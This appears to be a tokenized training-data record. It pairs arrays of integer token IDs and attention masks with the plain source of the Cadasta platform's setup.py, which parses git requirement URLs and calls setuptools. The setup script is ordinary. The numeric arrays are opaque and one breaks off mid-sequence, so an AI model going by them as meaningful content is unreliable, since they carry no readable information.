3602, 63, 500, 11, 17, 566, 267, 327, 6818, 1453, 2034, 267, 6296, 2363, 63, 928, 275, 1748, 8, 988, 8, 17, 12, 2034, 13, 277, 14, 5105, 2363, 395, 6497, 63, 835, 11, 17, 9, 267, 6296, 2363, 63, 500, 275, 1748, 8, 1606, 11, 277, 14, 5105, 2363, 12, 6497, 63, 835, 9, 267, 340, 6296, 2363, 63, 500, 8119, 5105, 2363, 63, 928, 26, 288, 12271, 14, 740, 779, 5105, 2363, 63, 928, 12, 6296, 2363, 63, 500, 11, 17, 566, 267, 327, 2451, 6275, 267, 2451, 63, 928, 275, 1748, 8, 988, 8, 17, 12, 6497, 63, 835, 13, 277, 14, 5173, 11, 17, 395, 6497, 63, 835, 11, 17, 9, 267, 340, 6497, 63, 835, 8119, 1019, 63, 928, 26, 288, 12271, 14, 740, 779, 1019, 63, 928, 12, 6497, 63, 835, 11, 17, 566, 267, 327, 5389, 12271, 267, 12271, 14, 3191, 342, 267, 6497, 275, 1425, 2031, 8404, 59, 16, 566, 267, 367, 1453, 315, 12271, 59, 17, 10688, 288, 2061, 275, 6497, 1988, 17, 61, 288, 340, 1453, 59, 17, 61, 2695, 2061, 26, 355, 327, 642, 1425, 365, 6272, 4136, 355, 1980, 288, 340, 1453, 59, 16, 61, 2695, 2061, 11, 18, 26, 355, 327, 16879, 4136, 355, 6497, 847, 1425, 8, 2019, 11, 17, 12, 1453, 59, 17, 566, 288, 587, 26, 355, 327, 12477, 2410, 543, 4601, 355, 6497, 847, 359, 403, 61, 435, 1425, 2031, 1818, 9, 267, 372, 6497, 421, 199, 533, 25246, 379, 3276, 4709, 8, 785, 304, 339, 1449, 8862, 83, 6497, 1425, 1901, 8291, 10595, 339, 347, 636, 826, 721, 277, 12, 1568, 29, 709, 304, 267, 291, 14, 22073, 63, 4604, 63, 890, 275, 291, 14, 890, 275, 1568, 339, 347, 636, 1250, 721, 277, 12, 6497, 63, 835, 12, 2034, 304, 267, 702, 6497, 63, 835, 30, 16, 267, 702, 2034, 30, 16, 267, 3728, 275, 334, 1606, 13, 17, 28428, 277, 14, 890, 267, 1343, 275, 3728, 10, 277, 14, 890, 435, 413, 267, 1284, 275, 1748, 1332, 4604, 11, 17, 3342, 277, 14, 890, 12, 6497, 63, 835, 9, 267, 372, 1425, 8, 928, 12, 1284, 11, 17, 9, 339, 327, 18414, 2127, 6617, 687, 283, 22073, 8650, 365, 16629, 370, 28006, 8566, 909, 14, 339, 347, 21398, 63, 5701, 63, 4604, 8, 22073, 304, 267, 3728, 275, 334, 22073, 14, 1606, 13, 17, 28428, 22073, 14, 4604, 63, 890, 267, 340, 3728, 26, 288, 3728, 63, 890, 275, 21398, 14, 4604, 63, 890, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 1332, 4604, 13, 17, 3342, 4604, 63, 890, 435, 3728, 63, 890, 9, 267, 587, 26, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 342, 272, 327, 25855, 370, 302, 1463, 402, 6328, 63, 1829, 781, 1172, 370, 7662, 5647, 536, 14, 272, 21398, 63, 5701, 63, 4604, 275, 6328, 63, 1829, 8, 22073, 63, 5701, 63, 4604, 12, 283, 5701, 63, 4604, 358, 339, 347, 21398, 63, 2184, 63, 4604, 8, 22073, 304, 267, 3728, 275, 334, 22073, 14, 1606, 13, 17, 28428, 22073, 14, 4604, 63, 890, 267, 2034, 275, 334, 4604, 11, 17, 3342, 22073, 14, 4604, 63, 890, 435, 413, 267, 340, 2034, 30, 22073, 14, 5856, 63, 835, 26, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 342, 267, 587, 26, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 8, 1606, 9, 272, 327, 25855, 370, 302, 1463, 402, 6328, 63, 1829, 781, 1172, 370, 7662, 5647, 536, 14, 272, 21398, 63, 2184, 63, 4604, 275, 6328, 63, 1829, 8, 22073, 63, 2184, 63, 4604, 12, 283, 2184, 63, 4604, 358, 421, 199, 533, 485, 3276, 2632, 8, 2960, 304, 339, 347, 636, 1222, 721, 1886, 12, 2034, 29, 403, 12, 1166, 29, 403, 304, 267, 372, 2008, 855, 1222, 721, 1886, 12, 334, 1606, 12, 1166, 430, 339, 768, 1829, 272, 347, 2034, 8, 277, 304, 267, 372, 291, 59, 16, 61, 339, 768, 1829, 272, 347, 1166, 8, 277, 304, 267, 372, 291, 59, 17, 61, 339, 347, 636, 10262, 721, 277, 304, 267, 372, 291, 14, 1606, 365, 440, 488, 421, 199, 533, 28006, 8566, 8, 785, 304, 272, 1449, 272, 28006, 8566, 641, 2746, 402, 658, 24057, 14, 2017, 2313, 272, 1449, 339, 6079, 2304, 402, 2974, 641, 314, 2034, 272, 2304, 275, 378, 272, 6079, 3141, 2338, 402, 2974, 272, 2338, 275, 378, 272, 6079, 536, 402, 9576, 1423, 272, 2034, 63, 635, 275, 283, 1606, 7, 272, 6079, 2498, 1591, 315, 2851, 503, 440, 272, 2498, 63, 1102, 275, 756, 272, 6079, 2974, 641, 314, 1453, 2034, 272, 2974, 275, 6248, 272, 6079, 16975, 8152, 314, 769, 402, 6497, 272, 6079, 370, 2498, 315, 21398, 14, 272, 11512, 275, 12822, 8, 2861, 63, 1606, 63, 1842, 9, 272, 6079, 710, 2304, 402, 2974, 4370, 641, 314, 2061, 2034, 14, 5591, 327, 473, 14, 69, 14, 340, 2338, 29, 1789, 436, 503, 838, 796, 29, 19, 543, 1616, 2974, 1126, 2034, 12, 272, 327, 2337, 911, 506, 499, 6497, 543, 1616, 436, 4944, 2974, 14, 272, 503, 838, 796, 275, 378, 339, 347, 636, 826 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 1275, 492, 6328, 63, 1829, 199, 646, 3473, 12, 7975, 199, 504, 2508, 2520, 14, 4471, 492, 2851, 421, 199, 318, 2615, 63, 1606, 63, 1842, 8, 5856, 63, 835, 12, 2034, 304, 272, 372, 1425, 8, 17, 12, 6497, 63, 835, 11, 17, 9, 421, 199, 533, 481, 9844, 3276, 4709, 8, 785, 304, 272, 1449, 13962, 1482, 2337, 787, 6275, 6497, 787, 9164, 737, 1924, 6275, 436, 6296, 2363, 6497, 272, 6818, 1453, 2034, 10595, 339, 347, 636, 826, 721, 277, 12, 6275, 29, 19, 12, 6296, 2363, 29, 21, 304, 267, 291, 14, 5173, 275, 6275, 267, 291, 14, 5105, 2363, 275, 6296, 2363, 339, 347, 636, 1250, 721, 277, 12, 6497, 63, 835, 12, 2034, 304, 267, 702, 6497, 63, 835, 30, 16, 267, 702, 2034, 30, 16, 267, 12271, 275, 942, 267, 327, 3602, 6275, 267, 3602, 63, 500, 275, 1748, 8, 277, 14, 5173, 12, 6497, 63, 835, 9, 267, 12271, 14, 740, 779, 17, 12, 3602, 63, 500, 11, 17, 566, 267, 327, 6818, 1453, 2034, 267, 6296, 2363, 63, 928, 275, 1748, 8, 988, 8, 17, 12, 2034, 13, 277, 14, 5105, 2363, 395, 6497, 63, 835, 11, 17, 9, 267, 6296, 2363, 63, 500, 275, 1748, 8, 1606, 11, 277, 14, 5105, 2363, 12, 6497, 63, 835, 9, 267, 340, 6296, 2363, 63, 500, 8119, 5105, 2363, 63, 928, 26, 288, 12271, 14, 740, 779, 5105, 2363, 63, 928, 12, 6296, 2363, 63, 500, 11, 17, 566, 267, 327, 2451, 6275, 267, 2451, 63, 928, 275, 1748, 8, 988, 8, 17, 12, 6497, 63, 835, 13, 277, 14, 5173, 11, 17, 395, 6497, 63, 835, 11, 17, 9, 267, 340, 6497, 63, 835, 8119, 1019, 63, 928, 26, 288, 12271, 14, 740, 779, 1019, 63, 928, 12, 6497, 63, 835, 11, 17, 566, 267, 327, 5389, 12271, 267, 12271, 14, 3191, 342, 267, 6497, 275, 1425, 2031, 8404, 59, 16, 566, 267, 367, 1453, 315, 12271, 59, 17, 10688, 288, 2061, 275, 6497, 1988, 17, 61, 288, 340, 1453, 59, 17, 61, 2695, 2061, 26, 355, 327, 642, 1425, 365, 6272, 4136, 355, 1980, 288, 340, 1453, 59, 16, 61, 2695, 2061, 11, 18, 26, 355, 327, 16879, 4136, 355, 6497, 847, 1425, 8, 2019, 11, 17, 12, 1453, 59, 17, 566, 288, 587, 26, 355, 327, 12477, 2410, 543, 4601, 355, 6497, 847, 359, 403, 61, 435, 1425, 2031, 1818, 9, 267, 372, 6497, 421, 199, 533, 25246, 379, 3276, 4709, 8, 785, 304, 339, 1449, 8862, 83, 6497, 1425, 1901, 8291, 10595, 339, 347, 636, 826, 721, 277, 12, 1568, 29, 709, 304, 267, 291, 14, 22073, 63, 4604, 63, 890, 275, 291, 14, 890, 275, 1568, 339, 347, 636, 1250, 721, 277, 12, 6497, 63, 835, 12, 2034, 304, 267, 702, 6497, 63, 835, 30, 16, 267, 702, 2034, 30, 16, 267, 3728, 275, 334, 1606, 13, 17, 28428, 277, 14, 890, 267, 1343, 275, 3728, 10, 277, 14, 890, 435, 413, 267, 1284, 275, 1748, 1332, 4604, 11, 17, 3342, 277, 14, 890, 12, 6497, 63, 835, 9, 267, 372, 1425, 8, 928, 12, 1284, 11, 17, 9, 339, 327, 18414, 2127, 6617, 687, 283, 22073, 8650, 365, 16629, 370, 28006, 8566, 909, 14, 339, 347, 21398, 63, 5701, 63, 4604, 8, 22073, 304, 267, 3728, 275, 334, 22073, 14, 1606, 13, 17, 28428, 22073, 14, 4604, 63, 890, 267, 340, 3728, 26, 288, 3728, 63, 890, 275, 21398, 14, 4604, 63, 890, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 1332, 4604, 13, 17, 3342, 4604, 63, 890, 435, 3728, 63, 890, 9, 267, 587, 26, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 342, 272, 327, 25855, 370, 302, 1463, 402, 6328, 63, 1829, 781, 1172, 370, 7662, 5647, 536, 14, 272, 21398, 63, 5701, 63, 4604, 275, 6328, 63, 1829, 8, 22073, 63, 5701, 63, 4604, 12, 283, 5701, 63, 4604, 358, 339, 347, 21398, 63, 2184, 63, 4604, 8, 22073, 304, 267, 3728, 275, 334, 22073, 14, 1606, 13, 17, 28428, 22073, 14, 4604, 63, 890, 267, 2034, 275, 334, 4604, 11, 17, 3342, 22073, 14, 4604, 63, 890, 435, 413, 267, 340, 2034, 30, 22073, 14, 5856, 63, 835, 26, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 342, 267, 587, 26, 288, 372, 21398, 423, 1606, 63, 633, 63, 3852, 8, 1606, 9, 272, 327, 25855, 370, 302, 1463, 402, 6328, 63, 1829, 781, 1172, 370, 7662, 5647, 536, 14, 272, 21398, 63, 2184, 63, 4604, 275, 6328, 63, 1829, 8, 22073, 63, 2184, 63, 4604, 12, 283, 2184, 63, 4604, 358, 421, 199, 533, 485, 3276, 2632, 8, 2960, 304, 339, 347, 636, 1222, 721, 1886, 12, 2034, 29, 403, 12, 1166, 29, 403, 304, 267, 372, 2008, 855, 1222, 721, 1886, 12, 334, 1606, 12, 1166, 430, 339, 768, 1829, 272, 347, 2034, 8, 277, 304, 267, 372, 291, 59, 16, 61, 339, 768, 1829, 272, 347, 1166, 8, 277, 304, 267, 372, 291, 59, 17, 61, 339, 347, 636, 10262, 721, 277, 304, 267, 372, 291, 14, 1606, 365, 440, 488, 421, 199, 533, 28006, 8566, 8, 785, 304, 272, 1449, 272, 28006, 8566, 641, 2746, 402, 658, 24057, 14, 2017, 2313, 272, 1449, 339, 6079, 2304, 402, 2974, 641, 314, 2034, 272, 2304, 275, 378, 272, 6079, 3141, 2338, 402, 2974, 272, 2338, 275, 378, 272, 6079, 536, 402, 9576, 1423, 272, 2034, 63, 635, 275, 283, 1606, 7, 272, 6079, 2498, 1591, 315, 2851, 503, 440, 272, 2498, 63, 1102, 275, 756, 272, 6079, 2974, 641, 314, 1453, 2034, 272, 2974, 275, 6248, 272, 6079, 16975, 8152, 314, 769, 402, 6497, 272, 6079, 370, 2498, 315, 21398, 14, 272, 11512, 275, 12822, 8, 2861, 63, 1606, 63, 1842, 9, 272, 6079, 710, 2304, 402, 2974, 4370, 641, 314, 2061, 2034, 14, 5591, 327, 473, 14, 69, 14, 340, 2338, 29, 1789, 436, 503, 838, 796, 29, 19, 543, 1616, 2974, 1126, 2034, 12, 272, 327, 2337, 911, 506, 499, 6497, 543, 1616, 436, 4944, 2974, 14, 272, 503, 838, 796, 275, 378, 339, 347, 636, 826, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Cadasta/cadasta-platform
setup.py
1
3676
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys from setuptools import setup def get_pkg_from_git_url(link): """ Given a pip-compatible git-requirement, output a setup.py-compatible install requirement. 'git+https://github.com/user/pkg.git@branch' -> 'pkg' """ try: link = link.split('#')[0].strip() link, branch = link.split('@', 1) pkg = link.split('/')[-1] pkg = pkg.split('.git')[0] return pkg except: sys.stderr.write("Failed on link {!r}\n".format(link)) raise def get_dependency_from_git_url(link): """ Given a pip-compatible git-requirement, output a setup.py-compatible dependency link. 'git+https://github.com/user/pkg.git@branch' -> https://github.com/user/pkg/tarball/branch#egg=pkg' """ try: link = link.split('#')[0].strip() link = link.replace('git+', '') link, branch = link.split('@', 1) link = link.replace('.git', '') pkg = link.split('/')[-1] link = '{}/tarball/{}'.format(link, branch) if '#egg=' not in link: link = "{}#egg={}".format(link, pkg) return link except: sys.stderr.write("Failed on link {!r}\n".format(link)) raise BASE_DIR = os.path.dirname(__file__) name = 'cadasta-platform' package = 'cadasta' description = 'Cadasta platform.' url = 'https://github.com/Cadasta/cadasta-platform' author = 'Cadasta development team' author_email = 'dev@cadasta.org' license = 'GNU Affero' req_file = os.path.join(BASE_DIR, 'requirements/common.txt') raw_requirements = open(req_file).read().splitlines() requirements = [ (req if '://' not in req.split('#')[0] else get_pkg_from_git_url(req)) for req in raw_requirements ] dependency_links = [ get_dependency_from_git_url(req) for req in raw_requirements if '://' in req.split('#')[0] ] readme_file = os.path.join(BASE_DIR, 'README.rst') with open(readme_file, 'r') as f: long_description = f.readline().strip() def get_version(package): return '0.0.1' def get_packages(package): """ Return root package and all sub-packages. """ return [dirpath for dirpath, dirnames, filenames in os.walk(package) if os.path.exists(os.path.join(dirpath, '__init__.py'))] def get_package_data(package): """ Return all files under the root package, that are not in a package themselves. """ walk = [(dirpath.replace(package + os.sep, '', 1), filenames) for dirpath, dirnames, filenames in os.walk(package) if not os.path.exists(os.path.join(dirpath, '__init__.py'))] filepaths = [] for base, filenames in walk: filepaths.extend([os.path.join(base, filename) for filename in filenames]) return {package: filepaths} version = get_version(package) setup( name=name, version=version, url=url, license=license, description=description, long_description=long_description, author=author, author_email=author_email, packages=get_packages(package), package_data=get_package_data(package), install_requires=requirements, dependency_links=dependency_links, classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Framework :: Django :: 1.9', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Natural Language :: English', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ] )
agpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 747, 199, 646, 984, 199, 504, 9116, 492, 3272, 421, 199, 318, 664, 63, 4600, 63, 504, 63, 3187, 63, 633, 8, 1073, 304, 272, 408, 272, 9138, 282, 7305, 13, 6490, 6135, 13, 12434, 12, 1072, 282, 3272, 14, 647, 13, 6490, 272, 3907, 10685, 14, 272, 283, 3187, 11, 2859, 921, 5031, 14, 957, 15, 751, 15, 4600, 14, 3187, 32, 4694, 7, 1035, 267, 283, 4600, 7, 272, 408, 272, 862, 26, 267, 2142, 275, 2142, 14, 1294, 7863, 5832, 16, 1055, 1913, 342, 267, 2142, 12, 5246, 275, 2142, 14, 1294, 16591, 297, 413, 9, 267, 5496, 275, 2142, 14, 1294, 25804, 17, 61, 267, 5496, 275, 5496, 14, 1294, 5175, 3187, 5832, 16, 61, 267, 372, 5496, 272, 871, 26, 267, 984, 14, 3083, 14, 952, 480, 4276, 641, 2142, 18776, 82, 4988, 78, 1674, 908, 8, 1073, 430, 267, 746, 421, 199, 318, 664, 63, 8575, 63, 504, 63, 3187, 63, 633, 8, 1073, 304, 272, 408, 272, 9138, 282, 7305, 13, 6490, 6135, 13, 12434, 12, 1072, 282, 3272, 14, 647, 13, 6490, 272, 5936, 2142, 14, 272, 283, 3187, 11, 2859, 921, 5031, 14, 957, 15, 751, 15, 4600, 14, 3187, 32, 4694, 7, 1035, 267, 4178, 921, 5031, 14, 957, 15, 751, 15, 4600, 15, 18829, 15, 4694, 3, 5799, 29, 4600, 7, 272, 408, 272, 862, 26, 267, 2142, 275, 2142, 14, 1294, 7863, 5832, 16, 1055, 1913, 342, 267, 2142, 275, 2142, 14, 1814, 360, 3187, 7386, 4074, 267, 2142, 12, 5246, 275, 2142, 14, 1294, 16591, 297, 413, 9, 267, 2142, 275, 2142, 14, 1814, 5175, 3187, 297, 4074, 267, 5496, 275, 2142, 14, 1294, 25804, 17, 61, 267, 2142, 275, 9005, 15, 18829, 30837, 908, 8, 1073, 12, 5246, 9, 267, 340, 3943, 5799, 534, 440, 315, 2142, 26, 288, 2142, 275, 11491, 3, 5799, 7622, 1674, 908, 8, 1073, 12, 5496, 9, 267, 372, 2142, 272, 871, 26, 267, 984, 14, 3083, 14, 952, 480, 4276, 641, 2142, 18776, 82, 4988, 78, 1674, 908, 8, 1073, 430, 267, 746, 421, 199, 5825, 63, 3022, 275, 747, 14, 515, 14, 3475, 3460, 493, 3368, 199, 199, 354, 275, 283, 67, 10641, 1207, 13, 3246, 7, 199, 2491, 275, 283, 67, 10641, 1207, 7, 199, 1802, 275, 283, 35, 10641, 1207, 4298, 3530, 199, 633, 275, 283, 2859, 921, 5031, 14, 957, 15, 35, 10641, 1207, 15, 67, 10641, 1207, 13, 3246, 7, 199, 2502, 275, 283, 35, 10641, 1207, 16367, 8099, 7, 199, 2502, 63, 2123, 275, 283, 2374, 32, 67, 10641, 1207, 14, 1308, 7, 199, 1682, 275, 283, 17732, 4265, 7, 199, 2103, 63, 493, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 7538, 15, 2330, 14, 2424, 358, 199, 1773, 63, 7538, 275, 1551, 8, 2103, 63, 493, 680, 739, 1252, 7644, 342, 199, 7538, 275, 359, 272, 334, 2103, 340, 283, 22399, 440, 315, 2648, 14, 1294, 7863, 5832, 16, 61, 587, 664, 63, 4600, 63, 504, 63, 3187, 63, 633, 8, 2103, 430, 272, 367, 2648, 315, 3066, 63, 7538, 199, 61, 199, 8575, 63, 4614, 275, 359, 272, 664, 63, 8575, 63, 504, 63, 3187, 63, 633, 8, 2103, 9, 272, 367, 2648, 315, 3066, 63, 7538, 340, 283, 22399, 315, 2648, 14, 1294, 7863, 5832, 16, 61, 199, 61, 199, 199, 32709, 63, 493, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 18195, 14, 8332, 358, 199, 1045, 1551, 8, 32709, 63, 493, 12, 283, 82, 358, 465, 289, 26, 272, 1846, 63, 1802, 275, 289, 14, 6407, 1252, 1913, 342, 421, 199, 318, 664, 63, 1023, 8, 2491, 304, 272, 372, 283, 16, 14, 16, 14, 17, 7, 421, 199, 318, 664, 63, 5154, 8, 2491, 304, 272, 408, 272, 1432, 1738, 2559, 436, 1006, 1007, 13, 5154, 14, 272, 408, 272, 372, 359, 17254, 288, 367, 20648, 12, 22310, 12, 6203, 315, 747, 14, 7757, 8, 2491, 9, 288, 340, 747, 14, 515, 14, 2444, 8, 736, 14, 515, 14, 904, 8, 17254, 12, 2560, 826, 4343, 647, 27738, 421, 199, 318, 664, 63, 2491, 63, 576, 8, 2491, 304, 272, 408, 272, 1432, 1006, 1584, 1334, 314, 1738, 2559, 12, 626, 787, 440, 315, 282, 272, 2559, 17279, 14, 272, 408, 272, 12778, 275, 3842, 17254, 14, 1814, 8, 2491, 435, 747, 14, 4127, 12, 3260, 413, 395, 6203, 9, 288, 367, 20648, 12, 22310, 12, 6203, 315, 747, 14, 7757, 8, 2491, 9, 288, 340, 440, 747, 14, 515, 14, 2444, 8, 736, 14, 515, 14, 904, 8, 17254, 12, 2560, 826, 4343, 647, 27738, 339, 570, 3771, 275, 942, 272, 367, 1300, 12, 6203, 315, 12778, 26, 267, 570, 3771, 14, 2880, 779, 736, 14, 515, 14, 904, 8, 1095, 12, 1788, 9, 2079, 367, 1788, 315, 6203, 566, 272, 372, 469, 2491, 26, 570, 3771, 93, 421, 199, 1023, 275, 664, 63, 1023, 8, 2491, 9, 421, 199, 2758, 8, 272, 536, 29, 354, 12, 272, 1015, 29, 1023, 12, 272, 1166, 29, 633, 12, 272, 4190, 29, 1682, 12, 272, 1369, 29, 1802, 12, 272, 1846, 63, 1802, 29, 2809, 63, 1802, 12, 272, 4132, 29, 2502, 12, 272, 4132, 63, 2123, 29, 2502, 63, 2123, 12, 272, 6117, 29, 362, 63, 5154, 8, 2491, 395, 272, 2559, 63, 576, 29, 362, 63, 2491, 63, 576, 8, 2491, 395, 272, 3907, 63, 6537, 29, 7538, 12, 272, 5936, 63, 4614, 29, 8575, 63, 4614, 12, 272, 19137, 1524, 267, 283, 23753, 9795, 3800, 650, 446, 32657, 297, 267, 283, 8263, 3800, 6001, 9711, 297, 267, 283, 16442, 3800, 5634, 3800, 413, 14, 25, 297, 267, 283, 23910, 23975, 3800, 23493, 297, 267, 283, 3761, 3800, 25718, 26330, 3800, 6289, 844, 297, 267, 283, 23699, 6187, 3800, 4403, 1010, 7106, 297, 267, 283, 23604, 4889, 8466, 3800, 20144, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 21, 297, 267, 283, 12157, 3800, 22026, 3800, 644, 11178, 15, 2856, 297, 272, 1622, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 747, 199, 646, 984, 199, 504, 9116, 492, 3272, 421, 199, 318, 664, 63, 4600, 63, 504, 63, 3187, 63, 633, 8, 1073, 304, 272, 408, 272, 9138, 282, 7305, 13, 6490, 6135, 13, 12434, 12, 1072, 282, 3272, 14, 647, 13, 6490, 272, 3907, 10685, 14, 272, 283, 3187, 11, 2859, 921, 5031, 14, 957, 15, 751, 15, 4600, 14, 3187, 32, 4694, 7, 1035, 267, 283, 4600, 7, 272, 408, 272, 862, 26, 267, 2142, 275, 2142, 14, 1294, 7863, 5832, 16, 1055, 1913, 342, 267, 2142, 12, 5246, 275, 2142, 14, 1294, 16591, 297, 413, 9, 267, 5496, 275, 2142, 14, 1294, 25804, 17, 61, 267, 5496, 275, 5496, 14, 1294, 5175, 3187, 5832, 16, 61, 267, 372, 5496, 272, 871, 26, 267, 984, 14, 3083, 14, 952, 480, 4276, 641, 2142, 18776, 82, 4988, 78, 1674, 908, 8, 1073, 430, 267, 746, 421, 199, 318, 664, 63, 8575, 63, 504, 63, 3187, 63, 633, 8, 1073, 304, 272, 408, 272, 9138, 282, 7305, 13, 6490, 6135, 13, 12434, 12, 1072, 282, 3272, 14, 647, 13, 6490, 272, 5936, 2142, 14, 272, 283, 3187, 11, 2859, 921, 5031, 14, 957, 15, 751, 15, 4600, 14, 3187, 32, 4694, 7, 1035, 267, 4178, 921, 5031, 14, 957, 15, 751, 15, 4600, 15, 18829, 15, 4694, 3, 5799, 29, 4600, 7, 272, 408, 272, 862, 26, 267, 2142, 275, 2142, 14, 1294, 7863, 5832, 16, 1055, 1913, 342, 267, 2142, 275, 2142, 14, 1814, 360, 3187, 7386, 4074, 267, 2142, 12, 5246, 275, 2142, 14, 1294, 16591, 297, 413, 9, 267, 2142, 275, 2142, 14, 1814, 5175, 3187, 297, 4074, 267, 5496, 275, 2142, 14, 1294, 25804, 17, 61, 267, 2142, 275, 9005, 15, 18829, 30837, 908, 8, 1073, 12, 5246, 9, 267, 340, 3943, 5799, 534, 440, 315, 2142, 26, 288, 2142, 275, 11491, 3, 5799, 7622, 1674, 908, 8, 1073, 12, 5496, 9, 267, 372, 2142, 272, 871, 26, 267, 984, 14, 3083, 14, 952, 480, 4276, 641, 2142, 18776, 82, 4988, 78, 1674, 908, 8, 1073, 430, 267, 746, 421, 199, 5825, 63, 3022, 275, 747, 14, 515, 14, 3475, 3460, 493, 3368, 199, 199, 354, 275, 283, 67, 10641, 1207, 13, 3246, 7, 199, 2491, 275, 283, 67, 10641, 1207, 7, 199, 1802, 275, 283, 35, 10641, 1207, 4298, 3530, 199, 633, 275, 283, 2859, 921, 5031, 14, 957, 15, 35, 10641, 1207, 15, 67, 10641, 1207, 13, 3246, 7, 199, 2502, 275, 283, 35, 10641, 1207, 16367, 8099, 7, 199, 2502, 63, 2123, 275, 283, 2374, 32, 67, 10641, 1207, 14, 1308, 7, 199, 1682, 275, 283, 17732, 4265, 7, 199, 2103, 63, 493, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 7538, 15, 2330, 14, 2424, 358, 199, 1773, 63, 7538, 275, 1551, 8, 2103, 63, 493, 680, 739, 1252, 7644, 342, 199, 7538, 275, 359, 272, 334, 2103, 340, 283, 22399, 440, 315, 2648, 14, 1294, 7863, 5832, 16, 61, 587, 664, 63, 4600, 63, 504, 63, 3187, 63, 633, 8, 2103, 430, 272, 367, 2648, 315, 3066, 63, 7538, 199, 61, 199, 8575, 63, 4614, 275, 359, 272, 664, 63, 8575, 63, 504, 63, 3187, 63, 633, 8, 2103, 9, 272, 367, 2648, 315, 3066, 63, 7538, 340, 283, 22399, 315, 2648, 14, 1294, 7863, 5832, 16, 61, 199, 61, 199, 199, 32709, 63, 493, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 18195, 14, 8332, 358, 199, 1045, 1551, 8, 32709, 63, 493, 12, 283, 82, 358, 465, 289, 26, 272, 1846, 63, 1802, 275, 289, 14, 6407, 1252, 1913, 342, 421, 199, 318, 664, 63, 1023, 8, 2491, 304, 272, 372, 283, 16, 14, 16, 14, 17, 7, 421, 199, 318, 664, 63, 5154, 8, 2491, 304, 272, 408, 272, 1432, 1738, 2559, 436, 1006, 1007, 13, 5154, 14, 272, 408, 272, 372, 359, 17254, 288, 367, 20648, 12, 22310, 12, 6203, 315, 747, 14, 7757, 8, 2491, 9, 288, 340, 747, 14, 515, 14, 2444, 8, 736, 14, 515, 14, 904, 8, 17254, 12, 2560, 826, 4343, 647, 27738, 421, 199, 318, 664, 63, 2491, 63, 576, 8, 2491, 304, 272, 408, 272, 1432, 1006, 1584, 1334, 314, 1738, 2559, 12, 626, 787, 440, 315, 282, 272, 2559, 17279, 14, 272, 408, 272, 12778, 275, 3842, 17254, 14, 1814, 8, 2491, 435, 747, 14, 4127, 12, 3260, 413, 395, 6203, 9, 288, 367, 20648, 12, 22310, 12, 6203, 315, 747, 14, 7757, 8, 2491, 9, 288, 340, 440, 747, 14, 515, 14, 2444, 8, 736, 14, 515, 14, 904, 8, 17254, 12, 2560, 826, 4343, 647, 27738, 339, 570, 3771, 275, 942, 272, 367, 1300, 12, 6203, 315, 12778, 26, 267, 570, 3771, 14, 2880, 779, 736, 14, 515, 14, 904, 8, 1095, 12, 1788, 9, 2079, 367, 1788, 315, 6203, 566, 272, 372, 469, 2491, 26, 570, 3771, 93, 421, 199, 1023, 275, 664, 63, 1023, 8, 2491, 9, 421, 199, 2758, 8, 272, 536, 29, 354, 12, 272, 1015, 29, 1023, 12, 272, 1166, 29, 633, 12, 272, 4190, 29, 1682, 12, 272, 1369, 29, 1802, 12, 272, 1846, 63, 1802, 29, 2809, 63, 1802, 